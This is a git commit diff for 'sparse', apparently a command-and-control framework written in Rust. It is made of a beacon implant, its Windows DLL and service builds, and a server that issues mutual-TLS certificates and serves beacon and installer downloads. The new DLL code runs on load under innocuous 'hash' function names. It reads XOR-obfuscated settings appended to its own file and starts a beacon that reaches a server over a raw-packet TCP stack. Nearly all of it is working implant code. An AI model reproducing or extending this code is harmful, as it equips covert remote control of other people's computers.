feat: made sure everything worked on Windows
This commit is contained in:
parent
c0fe4f2bdb
commit
4e0944e4c1
8
Cargo.lock
generated
8
Cargo.lock
generated
@ -3496,8 +3496,14 @@ name = "sparse-windows-beacon"
|
||||
version = "2.0.0"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"pcap-sys",
|
||||
"async-trait",
|
||||
"sparse-actions",
|
||||
"sparse-beacon",
|
||||
"thiserror 2.0.11",
|
||||
"tokio",
|
||||
"windows",
|
||||
"windows-result",
|
||||
"windows-strings",
|
||||
"winreg",
|
||||
]
|
||||
|
||||
|
||||
@ -163,7 +163,6 @@ extern "C" {
|
||||
pub fn pcap_setfilter(dev: *mut PcapDev, fp: *const BpfProgram) -> c_int;
|
||||
pub fn pcap_sendpacket(p: *mut PcapDev, buf: *const c_uchar, size: c_int) -> c_int;
|
||||
pub fn pcap_setnonblock(dev: *mut PcapDev, nonblock: c_int, errbuf: *mut c_char) -> c_int;
|
||||
pub fn pcap_get_selectable_fd(p: *mut PcapDev) -> c_int;
|
||||
pub fn pcap_next_ex(
|
||||
p: *mut PcapDev,
|
||||
header: *mut *mut PktHeader,
|
||||
@ -175,3 +174,8 @@ extern "C" {
|
||||
extern "C" {
|
||||
pub fn pcap_getevent(p: *mut PcapDev) -> windows::Win32::Foundation::HANDLE;
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
extern "C" {
|
||||
pub fn pcap_get_selectable_fd(p: *mut PcapDev) -> c_int;
|
||||
}
|
||||
|
||||
@ -406,18 +406,18 @@ unsafe impl Sync for WaitHandle {}
|
||||
impl WaitHandle {
|
||||
#[cfg(windows)]
|
||||
pub fn wait(&self, timeout: Option<Duration>) -> error::Result<()> {
|
||||
use windows::Win32::System::Threading::{WaitForSingleObject, INFINITE};
|
||||
use windows::Win32::System::Threading::WaitForSingleObject;
|
||||
|
||||
let timeout = timeout
|
||||
.map(|t| (t.as_millis() & 0xFFFFFFFF) as u32)
|
||||
.unwrap_or(50);
|
||||
|
||||
unsafe {
|
||||
if WaitForSingleObject(self.0, timeout).0 != 0 {
|
||||
Err(std::io::Error::last_os_error()).map_err(Into::into)
|
||||
} else {
|
||||
Ok(())
|
||||
}
|
||||
let code = unsafe { WaitForSingleObject(self.0, timeout).0 };
|
||||
|
||||
if code == 0 || code == 0x102 {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(std::io::Error::last_os_error()).map_err(Into::into)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@ -9,6 +9,7 @@ pub struct BeaconRoute {
|
||||
pub interface_index: usize,
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
pub struct BeaconNetworkingInfo {
|
||||
pub routes: Vec<BeaconRoute>,
|
||||
pub interfaces: Vec<BeaconInterface>,
|
||||
|
||||
@ -1,32 +1,40 @@
|
||||
use std::{future::Future, pin::Pin, task::{self, Poll}};
|
||||
use std::{
|
||||
future::Future,
|
||||
pin::Pin,
|
||||
task::{self, Poll},
|
||||
};
|
||||
|
||||
use http::Uri;
|
||||
use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}};
|
||||
use hyper_util::{
|
||||
client::legacy::Client,
|
||||
rt::{TokioExecutor, TokioIo},
|
||||
};
|
||||
use rustls::RootCertStore;
|
||||
use tower_service::Service;
|
||||
|
||||
use sparse_actions::payload_types::Parameters;
|
||||
|
||||
use crate::{adapter, error, tcp::{self, setup_network}};
|
||||
use crate::{
|
||||
adapter, error,
|
||||
tcp::{self, setup_network},
|
||||
};
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ServerConnector<T>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + 'static
|
||||
T: adapter::BeaconAdapter + Clone + Send + 'static,
|
||||
{
|
||||
adapter: T,
|
||||
parameters: Parameters
|
||||
parameters: Parameters,
|
||||
}
|
||||
|
||||
impl<T> Service<Uri> for ServerConnector<T>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static
|
||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
{
|
||||
type Response = TokioIo<tcp::NetInterfaceHandle>;
|
||||
type Error = error::BeaconError<T::Error>;
|
||||
type Future = Pin<Box<
|
||||
dyn Future<Output = Result<Self::Response, Self::Error>> + Send
|
||||
>>;
|
||||
type Future = Pin<Box<dyn Future<Output = Result<Self::Response, Self::Error>> + Send>>;
|
||||
|
||||
fn poll_ready(&mut self, _: &mut task::Context<'_>) -> Poll<Result<(), Self::Error>> {
|
||||
Poll::Ready(Ok(()))
|
||||
@ -36,11 +44,7 @@ where
|
||||
Box::pin({
|
||||
let adapter = self.adapter.clone();
|
||||
let params = self.parameters.clone();
|
||||
async move {
|
||||
setup_network(adapter, params)
|
||||
.await
|
||||
.map(TokioIo::new)
|
||||
}
|
||||
async move { setup_network(adapter, params).await.map(TokioIo::new) }
|
||||
})
|
||||
}
|
||||
}
|
||||
@ -52,32 +56,27 @@ pub async fn obtain_https_client<T, B>(
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
B: hyper::body::Body + Send,
|
||||
<B as hyper::body::Body>::Data: Send
|
||||
<B as hyper::body::Body>::Data: Send,
|
||||
{
|
||||
let server_cert = rustls::pki_types::CertificateDer::from(
|
||||
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned()
|
||||
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned(),
|
||||
);
|
||||
|
||||
let client_cert = rustls::pki_types::CertificateDer::from(
|
||||
parameters.client_cert[..parameters.client_cert_length as usize].to_owned()
|
||||
parameters.client_cert[..parameters.client_cert_length as usize].to_owned(),
|
||||
);
|
||||
|
||||
let client_key = rustls::pki_types::PrivateKeyDer::try_from(
|
||||
parameters.client_key[..parameters.client_key_length as usize].to_owned()
|
||||
parameters.client_key[..parameters.client_key_length as usize].to_owned(),
|
||||
)
|
||||
.map_err(|_| rustls::Error::InvalidCertificate(
|
||||
rustls::CertificateError::BadEncoding
|
||||
))?;
|
||||
.map_err(|_| rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding))?;
|
||||
|
||||
let mut root_store = RootCertStore::empty();
|
||||
root_store.add(server_cert.clone())?;
|
||||
|
||||
let tls_config = rustls::ClientConfig::builder()
|
||||
.with_root_certificates(root_store)
|
||||
.with_client_auth_cert(
|
||||
vec![client_cert, server_cert],
|
||||
client_key
|
||||
)?;
|
||||
.with_client_auth_cert(vec![client_cert, server_cert], client_key)?;
|
||||
|
||||
let https = hyper_rustls::HttpsConnectorBuilder::new()
|
||||
.with_tls_config(tls_config)
|
||||
@ -86,11 +85,10 @@ where
|
||||
.enable_http2()
|
||||
.wrap_connector(ServerConnector {
|
||||
adapter: adapter.clone(),
|
||||
parameters: parameters.clone()
|
||||
parameters: parameters.clone(),
|
||||
});
|
||||
|
||||
let client = Client::builder(TokioExecutor::new())
|
||||
.build(https);
|
||||
let client = Client::builder(TokioExecutor::new()).build(https);
|
||||
|
||||
Ok(client)
|
||||
}
|
||||
|
||||
@ -1,5 +1,8 @@
|
||||
use sparse_actions::payload_types::Parameters;
|
||||
|
||||
use http_body_util::{BodyExt, Empty};
|
||||
use hyper::Request;
|
||||
|
||||
mod callback;
|
||||
mod socket;
|
||||
mod tcp;
|
||||
@ -8,10 +11,26 @@ pub mod adapter;
|
||||
pub mod error;
|
||||
pub use error::BeaconError;
|
||||
|
||||
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError<A::Error>>
|
||||
pub async fn run_beacon_step<A>(
|
||||
host_adapter: A,
|
||||
params: Parameters,
|
||||
) -> Result<(), BeaconError<A::Error>>
|
||||
where
|
||||
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
{
|
||||
let client = callback::obtain_https_client(&host_adapter, ¶ms).await?;
|
||||
|
||||
for _ in 1..5 {
|
||||
let req = Request::builder()
|
||||
.uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
|
||||
.body(Empty::<bytes::Bytes>::new())?;
|
||||
let resp = client.request(req).await?;
|
||||
|
||||
println!("{:?} {:?}", resp.version(), resp.status());
|
||||
let body = resp.into_body();
|
||||
let body = body.collect().await;
|
||||
println!("{:?}", body);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@ -35,7 +35,11 @@ impl RawSocket {
|
||||
|
||||
lower.activate()?;
|
||||
|
||||
lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
|
||||
if cfg!(target_os = "linux") {
|
||||
lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
|
||||
} else {
|
||||
lower.set_filter(&format!("arp or tcp port {port}"), true, None)?;
|
||||
}
|
||||
|
||||
Ok(Self {
|
||||
inner: SocketInner { lower },
|
||||
|
||||
@ -5,6 +5,7 @@ use std::{
|
||||
task::{Context, Poll},
|
||||
};
|
||||
|
||||
use hyper_util::client::legacy::connect;
|
||||
use smoltcp::{
|
||||
iface::{Config, Interface, SocketHandle, SocketSet},
|
||||
socket::tcp::{RecvError, SendError, Socket, SocketBuffer, State},
|
||||
@ -13,10 +14,9 @@ use smoltcp::{
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncRead, AsyncWrite},
|
||||
sync::broadcast,
|
||||
task::{spawn_blocking, JoinHandle},
|
||||
sync::broadcast
|
||||
};
|
||||
use hyper_util::client::legacy::connect;
|
||||
|
||||
use sparse_actions::payload_types::Parameters;
|
||||
|
||||
@ -32,7 +32,6 @@ pub struct NetInterfaceHandle {
|
||||
|
||||
impl Drop for NetInterfaceHandle {
|
||||
fn drop(&mut self) {
|
||||
println!("Running drop for net interface handle; {} copies exist", Arc::strong_count(&self.net));
|
||||
let _ = self.close_background.send(());
|
||||
self.background_process.abort();
|
||||
}
|
||||
@ -288,33 +287,33 @@ where
|
||||
|
||||
ready_wait.wait(iface.poll_delay(timestamp, &sockets).map(Into::into))?;
|
||||
}
|
||||
if cfg!(debug_assertions) {
|
||||
println!("Connected!");
|
||||
}
|
||||
|
||||
let net = Arc::new(Mutex::new((sockets, device, iface)));
|
||||
|
||||
let background_process = spawn_blocking({
|
||||
let net = Arc::clone(&net);
|
||||
|
||||
move || {
|
||||
loop {
|
||||
if close_background_recv.try_recv().is_ok() {
|
||||
println!("Running drop for background thread; {} copies exist", Arc::strong_count(&net));
|
||||
break;
|
||||
}
|
||||
|
||||
let delay = {
|
||||
let Ok(mut guard) = net.lock() else {
|
||||
continue;
|
||||
};
|
||||
let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
|
||||
|
||||
let timestamp = Instant::now();
|
||||
i_guard.poll(timestamp, d_guard, s_guard);
|
||||
|
||||
i_guard.poll_delay(timestamp, s_guard)
|
||||
};
|
||||
|
||||
let _ = ready_wait.wait(delay.map(Into::into));
|
||||
move || loop {
|
||||
if close_background_recv.try_recv().is_ok() {
|
||||
break;
|
||||
}
|
||||
|
||||
let delay = {
|
||||
let Ok(mut guard) = net.lock() else {
|
||||
continue;
|
||||
};
|
||||
let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
|
||||
|
||||
let timestamp = Instant::now();
|
||||
i_guard.poll(timestamp, d_guard, s_guard);
|
||||
|
||||
i_guard.poll_delay(timestamp, s_guard)
|
||||
};
|
||||
|
||||
let _ = ready_wait.wait(delay.map(Into::into));
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@ -5,7 +5,7 @@ use std::{
|
||||
|
||||
use axum::routing::{Router, get, post};
|
||||
use rcgen::{Certificate, CertificateParams, KeyPair};
|
||||
use rustls::{server::WebPkiClientVerifier, RootCertStore};
|
||||
use rustls::{RootCertStore, server::WebPkiClientVerifier};
|
||||
use sqlx::SqlitePool;
|
||||
use tokio::task::JoinHandle;
|
||||
|
||||
@ -129,9 +129,7 @@ pub async fn start_listener(
|
||||
let ca_cert = ca_params.self_signed(&ca_keypair)?;
|
||||
|
||||
let server_key = KeyPair::generate()?;
|
||||
let Ok(server_params) = CertificateParams::new(
|
||||
vec![listener.domain_name.clone()]
|
||||
) else {
|
||||
let Ok(server_params) = CertificateParams::new(vec![listener.domain_name.clone()]) else {
|
||||
return Err(crate::error::Error::Generic(format!(
|
||||
"Could not generate new server keychain"
|
||||
)));
|
||||
@ -154,8 +152,7 @@ pub async fn start_listener(
|
||||
let mut root_store = RootCertStore::empty();
|
||||
root_store.add(ca_cert)?;
|
||||
|
||||
let client_verifier = WebPkiClientVerifier::builder(root_store.into())
|
||||
.build()?;
|
||||
let client_verifier = WebPkiClientVerifier::builder(root_store.into()).build()?;
|
||||
|
||||
let mut tls_config = rustls::ServerConfig::builder()
|
||||
.with_client_cert_verifier(client_verifier)
|
||||
|
||||
@ -458,7 +458,7 @@ pub fn DisplayTemplates(
|
||||
"Download beacon (Windows Service)"
|
||||
</a>
|
||||
})}
|
||||
{(template.operating_system != "windows")
|
||||
{/*(template.operating_system != "windows")
|
||||
.then(|| view! {
|
||||
<a
|
||||
class="button"
|
||||
@ -467,7 +467,7 @@ pub fn DisplayTemplates(
|
||||
>
|
||||
"Download beacon (Unix loader)"
|
||||
</a>
|
||||
})}
|
||||
})*/}
|
||||
<button
|
||||
on:click={
|
||||
let template_id = template.template_id;
|
||||
|
||||
@ -23,13 +23,12 @@ pub(crate) mod beacon_binaries {
|
||||
include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));
|
||||
|
||||
pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
|
||||
pub const LINUX_BEACON_LOADER: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
|
||||
pub const FREEBSD_BEACON: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
|
||||
pub const LINUX_BEACON_LOADER: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
|
||||
pub const FREEBSD_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
|
||||
pub const FREEBSD_BEACON_LOADER: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
|
||||
pub const WINDOWS_BEACON: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
|
||||
pub const WINDOWS_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
|
||||
pub const WINDOWS_BEACON_SVC: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
|
||||
}
|
||||
@ -103,7 +102,7 @@ pub struct AppState {
|
||||
|
||||
async fn get_parameters_bytes(
|
||||
template_id: i64,
|
||||
db: SqlitePool
|
||||
db: SqlitePool,
|
||||
) -> Result<(Vec<u8>, String), crate::error::Error> {
|
||||
use rand::{rngs::OsRng, TryRngCore};
|
||||
use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
|
||||
@ -118,7 +117,9 @@ async fn get_parameters_bytes(
|
||||
r"SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,
|
||||
source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,
|
||||
source_interface
|
||||
FROM beacon_template JOIN beacon_listener"
|
||||
FROM beacon_template JOIN beacon_listener
|
||||
WHERE template_id = ?",
|
||||
template_id
|
||||
)
|
||||
.fetch_one(&db)
|
||||
.await?;
|
||||
@ -234,17 +235,18 @@ pub struct BeaconDownloadParams {
|
||||
pub async fn download_beacon(
|
||||
Path(template_id): Path<i64>,
|
||||
State(db): State<AppState>,
|
||||
Query(beacon_params): Query<BeaconDownloadParams>
|
||||
Query(beacon_params): Query<BeaconDownloadParams>,
|
||||
) -> Result<impl IntoResponse, crate::error::Error> {
|
||||
println!("Params: {beacon_params:?}");
|
||||
|
||||
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
|
||||
|
||||
let binary = if beacon_params.use_svc.unwrap_or_default() {
|
||||
tracing::debug!("Downloading windows service");
|
||||
"windows-svc".to_string()
|
||||
} else if beacon_params.use_loader.unwrap_or_default() {
|
||||
tracing::debug!("Downloading {operating_system} loader");
|
||||
format!("{operating_system}-loader")
|
||||
} else {
|
||||
tracing::debug!("Downloading basic beacon for {operating_system}");
|
||||
operating_system.clone()
|
||||
};
|
||||
|
||||
@ -287,7 +289,7 @@ pub async fn download_beacon_installer(
|
||||
header::CONTENT_DISPOSITION,
|
||||
format!(
|
||||
r#"attachement; filename="sparse-installer{}""#,
|
||||
if operating_system.starts_with("windows") {
|
||||
if operating_system.starts_with("windows") {
|
||||
".exe"
|
||||
} else {
|
||||
""
|
||||
@ -322,7 +324,10 @@ pub async fn serve_web(
|
||||
};
|
||||
|
||||
let app = Router::new()
|
||||
.route("/binaries/installer/:template_id", get(download_beacon_installer))
|
||||
.route(
|
||||
"/binaries/installer/:template_id",
|
||||
get(download_beacon_installer),
|
||||
)
|
||||
.route("/binaries/beacon/:template_id", get(download_beacon))
|
||||
.leptos_routes_with_context(
|
||||
&state,
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
use std::io::SeekFrom;
|
||||
|
||||
use tokio::io::{AsyncSeekExt, AsyncReadExt};
|
||||
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
use sparse_beacon::adapter::BeaconAdapter;
|
||||
|
||||
@ -8,8 +8,14 @@ crate-type = ["cdylib"]
|
||||
|
||||
[dependencies]
|
||||
anyhow = "1.0.95"
|
||||
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
|
||||
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
|
||||
async-trait = "0.1.86"
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon" }
|
||||
thiserror = "2.0.11"
|
||||
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "rt-multi-thread", "sync"] }
|
||||
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
|
||||
windows-result = "0.3.0"
|
||||
windows-strings = "0.3.0"
|
||||
winreg = "0.55"
|
||||
|
||||
[features]
|
||||
|
||||
169
sparse-windows-beacon/src/adapter.rs
Normal file
169
sparse-windows-beacon/src/adapter.rs
Normal file
@ -0,0 +1,169 @@
|
||||
use std::net::Ipv4Addr;
|
||||
|
||||
use sparse_beacon::{
|
||||
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
|
||||
error,
|
||||
};
|
||||
|
||||
#[derive(thiserror::Error, Debug)]
|
||||
pub enum WindowsAdapterError {
|
||||
#[error("windows error")]
|
||||
Win32(#[from] windows_result::Error),
|
||||
}
|
||||
|
||||
impl sparse_beacon::error::AdapterError for WindowsAdapterError {}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct WindowsAdapter;
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl BeaconAdapter for WindowsAdapter {
|
||||
type Error = WindowsAdapterError;
|
||||
|
||||
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
|
||||
[&br"\Device\NPF_"[..], &interface.name].concat()
|
||||
}
|
||||
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
|
||||
use std::slice;
|
||||
|
||||
unsafe {
|
||||
fn nul_ptr_to_slice<'a, T>(ptr: *const T) -> &'a [T]
|
||||
where
|
||||
T: PartialEq + From<u8>,
|
||||
{
|
||||
let mut len = 0;
|
||||
unsafe {
|
||||
while *ptr.add(len) != T::from(0) {
|
||||
len += 1;
|
||||
}
|
||||
|
||||
slice::from_raw_parts(ptr, len)
|
||||
}
|
||||
}
|
||||
|
||||
use windows::Win32::NetworkManagement::IpHelper::{
|
||||
GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS,
|
||||
IP_ADAPTER_ADDRESSES_LH,
|
||||
};
|
||||
|
||||
let mut size_pointer: u32 = 0;
|
||||
|
||||
_ = GetAdaptersAddresses(
|
||||
2,
|
||||
GET_ADAPTERS_ADDRESSES_FLAGS(0),
|
||||
None,
|
||||
None,
|
||||
&mut size_pointer as *mut _,
|
||||
);
|
||||
|
||||
let mut address_buffer = vec![0; size_pointer as usize];
|
||||
|
||||
let err = GetAdaptersAddresses(
|
||||
2,
|
||||
GAA_FLAG_INCLUDE_GATEWAYS,
|
||||
None,
|
||||
Some(address_buffer.as_mut_ptr() as *mut _),
|
||||
&mut size_pointer as *mut _,
|
||||
);
|
||||
|
||||
if err != 0 {
|
||||
Err(std::io::Error::last_os_error())?;
|
||||
}
|
||||
|
||||
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
|
||||
|
||||
let mut routes = vec![];
|
||||
let mut interfaces = vec![];
|
||||
|
||||
while !current_address.is_null() {
|
||||
let name = nul_ptr_to_slice((*current_address).AdapterName.0 as *const _).to_vec();
|
||||
let mtu = (*current_address).Mtu;
|
||||
let Ok(mac_addr) = &(*current_address).PhysicalAddress
|
||||
[..(*current_address).PhysicalAddressLength as usize]
|
||||
.try_into()
|
||||
else {
|
||||
current_address = (*current_address).Next;
|
||||
continue;
|
||||
};
|
||||
|
||||
let interface_index = interfaces.len();
|
||||
|
||||
interfaces.push(BeaconInterface {
|
||||
name,
|
||||
mtu: mtu as u16,
|
||||
mac_addr: *mac_addr,
|
||||
});
|
||||
|
||||
let mut gateway = (*current_address).FirstGatewayAddress;
|
||||
|
||||
while !gateway.is_null() {
|
||||
let ipaddr = (*(*gateway).Address.lpSockaddr).sa_data;
|
||||
let family = (*(*gateway).Address.lpSockaddr).sa_family.0;
|
||||
|
||||
if family != 2 {
|
||||
// AF_INET
|
||||
gateway = (*gateway).Next;
|
||||
continue;
|
||||
}
|
||||
|
||||
let gateway_addr = Ipv4Addr::new(
|
||||
ipaddr[2] as u8,
|
||||
ipaddr[3] as u8,
|
||||
ipaddr[4] as u8,
|
||||
ipaddr[5] as u8,
|
||||
);
|
||||
|
||||
let network = (Ipv4Addr::new(0, 0, 0, 0), 0);
|
||||
|
||||
let mut uni_address = (*current_address).FirstUnicastAddress;
|
||||
|
||||
while !uni_address.is_null() {
|
||||
let ipaddr = (*(*uni_address).Address.lpSockaddr).sa_data;
|
||||
let family = (*(*uni_address).Address.lpSockaddr).sa_family.0;
|
||||
|
||||
if family != 2 {
|
||||
uni_address = (*uni_address).Next;
|
||||
continue;
|
||||
}
|
||||
|
||||
// indices 0 and 1 are used to store the port
|
||||
// ...it's an interface... why does it have a port...
|
||||
let ipaddr = Ipv4Addr::new(
|
||||
ipaddr[2] as u8,
|
||||
ipaddr[3] as u8,
|
||||
ipaddr[4] as u8,
|
||||
ipaddr[5] as u8,
|
||||
);
|
||||
|
||||
let cidr = (*uni_address).OnLinkPrefixLength as u32;
|
||||
|
||||
let mask = (0xFFFFFFFFu32.overflowing_shr(32 - cidr))
|
||||
.0
|
||||
.overflowing_shl(32 - cidr)
|
||||
.0;
|
||||
|
||||
if (mask & u32::from(gateway_addr)) != (mask & u32::from(ipaddr)) {
|
||||
uni_address = (*uni_address).Next;
|
||||
continue;
|
||||
}
|
||||
|
||||
routes.push(BeaconRoute {
|
||||
network,
|
||||
gateway: (gateway_addr, (*uni_address).OnLinkPrefixLength),
|
||||
interface_index,
|
||||
});
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
gateway = (*gateway).Next;
|
||||
}
|
||||
|
||||
current_address = (*current_address).Next;
|
||||
}
|
||||
|
||||
Ok(BeaconNetworkingInfo { routes, interfaces })
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,8 +1,20 @@
|
||||
use windows::{
|
||||
Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*},
|
||||
core::*,
|
||||
use std::io::SeekFrom;
|
||||
|
||||
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
use windows::Win32::{
|
||||
Foundation::{FreeLibrary, HMODULE, MAX_PATH},
|
||||
System::{
|
||||
LibraryLoader::{
|
||||
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
|
||||
},
|
||||
SystemServices::DLL_PROCESS_ATTACH,
|
||||
},
|
||||
};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
|
||||
mod adapter;
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
||||
if dw_reason == DLL_PROCESS_ATTACH {
|
||||
@ -19,10 +31,62 @@ pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
||||
}
|
||||
|
||||
fn hash_internals() -> std::result::Result<(), std::io::Error> {
|
||||
unsafe {
|
||||
MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
|
||||
let curr_module = HMODULE(std::ptr::null_mut());
|
||||
let comp_hash = compute_hash as extern "C" fn() -> ();
|
||||
|
||||
if let Err(_) = unsafe {
|
||||
GetModuleHandleExW(
|
||||
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
|
||||
windows_strings::PCWSTR::from_raw(comp_hash as *const () as *const _),
|
||||
curr_module.0 as *mut _,
|
||||
)
|
||||
} {
|
||||
return Err(std::io::Error::last_os_error());
|
||||
}
|
||||
|
||||
let mut name = vec![0u8; MAX_PATH as usize];
|
||||
let name_len = unsafe { GetModuleFileNameA(Some(curr_module), &mut name) as usize };
|
||||
|
||||
unsafe {
|
||||
let _ = FreeLibrary(curr_module);
|
||||
}
|
||||
|
||||
if name_len == 0 {
|
||||
return Err(std::io::Error::last_os_error());
|
||||
}
|
||||
|
||||
let rt = tokio::runtime::Builder::new_multi_thread()
|
||||
.enable_all()
|
||||
.build()?;
|
||||
|
||||
rt.block_on(async move { unsafe { hash_stage_2(name[..name_len].to_vec()) }.await })?;
|
||||
|
||||
// MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::Error> {
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open(unsafe { std::str::from_utf8_unchecked(&name) })
|
||||
.await?;
|
||||
|
||||
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||
|
||||
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
|
||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||
binary_file.read_to_end(&mut parameters_buffer).await?;
|
||||
|
||||
for b in parameters_buffer.iter_mut() {
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
let parameters: Parameters =
|
||||
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||
|
||||
let _ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
@ -1,144 +1,32 @@
|
||||
fn main() -> anyhow::Result<()> {
|
||||
let devs = pcap_sys::PcapDevIterator::new()?;
|
||||
use std::io::SeekFrom;
|
||||
|
||||
for dev in devs {
|
||||
println!("{dev}");
|
||||
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
|
||||
mod adapter;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open(std::env::current_exe()?)
|
||||
.await?;
|
||||
|
||||
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||
|
||||
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
|
||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||
binary_file.read_to_end(&mut parameters_buffer).await?;
|
||||
|
||||
for b in parameters_buffer.iter_mut() {
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
unsafe {
|
||||
use std::ffi::CStr;
|
||||
let parameters: Parameters =
|
||||
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||
|
||||
use windows::Win32::{
|
||||
NetworkManagement::IpHelper::{
|
||||
GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS, GetAdaptersAddresses,
|
||||
IP_ADAPTER_ADDRESSES_LH,
|
||||
},
|
||||
Networking::WinSock::AF_INET,
|
||||
};
|
||||
|
||||
let mut size_pointer: u32 = 0;
|
||||
|
||||
let err = GetAdaptersAddresses(
|
||||
2,
|
||||
GET_ADAPTERS_ADDRESSES_FLAGS(0),
|
||||
None,
|
||||
None,
|
||||
&mut size_pointer as *mut _,
|
||||
);
|
||||
|
||||
let mut address_buffer = vec![0; size_pointer as usize];
|
||||
|
||||
let err2 = GetAdaptersAddresses(
|
||||
2,
|
||||
GAA_FLAG_INCLUDE_GATEWAYS,
|
||||
None,
|
||||
Some(address_buffer.as_mut_ptr() as *mut _),
|
||||
&mut size_pointer as *mut _,
|
||||
);
|
||||
|
||||
